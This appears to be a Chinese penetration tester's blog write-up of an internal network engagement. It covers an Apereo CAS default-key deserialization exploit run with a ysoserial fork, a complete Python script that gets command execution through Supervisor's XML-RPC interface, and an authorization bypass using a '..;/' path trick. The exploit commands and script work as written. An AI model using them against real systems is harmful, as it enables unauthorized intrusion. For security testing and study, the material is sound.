background

客户让我测测内网,我对内网环境一无所知,也懒得弄,就随便给它看看。我就只看设备上的告警,然后对着ip去测。

apereo cas默认秘钥反序列化getshell

2023-08-28T05:35:35.png
设备上看到的告警,内网对内网的,问题不大。以前从来没见过这个洞,于是去测这个漏洞,态势感知就是根据请求包里execution参数特征来识别的。
该漏洞源于apereo cas使用了默认的秘钥,导致攻击者可以构造恶意代码,在反序列化的过程中达到命令执行的效果。

漏洞利用工具
https://github.com/MrMeizhi/ysoserial-mangguogan/blob/master/ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar
利用该工具生成payload
java -jar .\ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar encode CommonsCollections4
2023-08-28T05:52:24.png

将生成的结果复制到请求包的execution参数中,在请求头中添加cmd:whoami
即可执行“whoami”系统命令
2023-08-28T05:53:56.png
修复建议:
升级软件版本或者手动修改默认秘钥

Supervisor Status存在命令执行漏洞

当时上面机子getshell了之后就上堡垒机看,发现名称是xxx_1,然后连在一起的ip是xxx_2,xxx_3。于是也看了另外三个系统,和这个getshell的机子上跑的业务不一样,虽然都是sso。然后就对其他三台机子扫全端口,发现了个Supervisor Status。网上一搜就有个rce,搜个脚本直接就getshell了。

#!/usr/bin/env python3
import xmlrpc.client
import sys

target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)

logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)

print(result[len(old):])

bypass授权(非403)

是有台机器被getshell了,我们上去看看手法,手法确实很秒,那么隐蔽的点都能打到。但应该是对着源码做的白盒。
后台有个注入点,oracle的,是dba权限,但是不会拿shell,这一块确实没接触过,网上也没啥全面的文章。找到的一些payload都是堆叠注入执行多条语句的,玩个锤子。所以那个系统别人怎么getshell的我们最终都找不到,有任意文件上传,但是传到一个不解析的文件夹下面,调用使用images.json?met=download&name=xxx.png这种方式来调用的,试了任意文件读取没啥东西,就算有东西Windows机器任意文件读取getshell也是一点思路都没有,总之我们找到个注入就可以交差的,但是很纳闷别人怎么打进来的,那个系统就是一个登陆框。只有get的日志,post请求的数据没有设备记录下来。然后就一直翻日志。
这个系统后端的东西都是通过xx.json调用的(.json我也是第一次见,不知道是什么语言写的),没登录直接访问name.json就提示没权限,访问api_auth.json/..;/name.json这样就能未授权访问接口。把api_auth.json写成api_authxxxx.json也可以,奇奇怪怪。不清楚原理,应该是..;是返回上一级目录,然后这样访问是从内部访问的,所以就绕过了。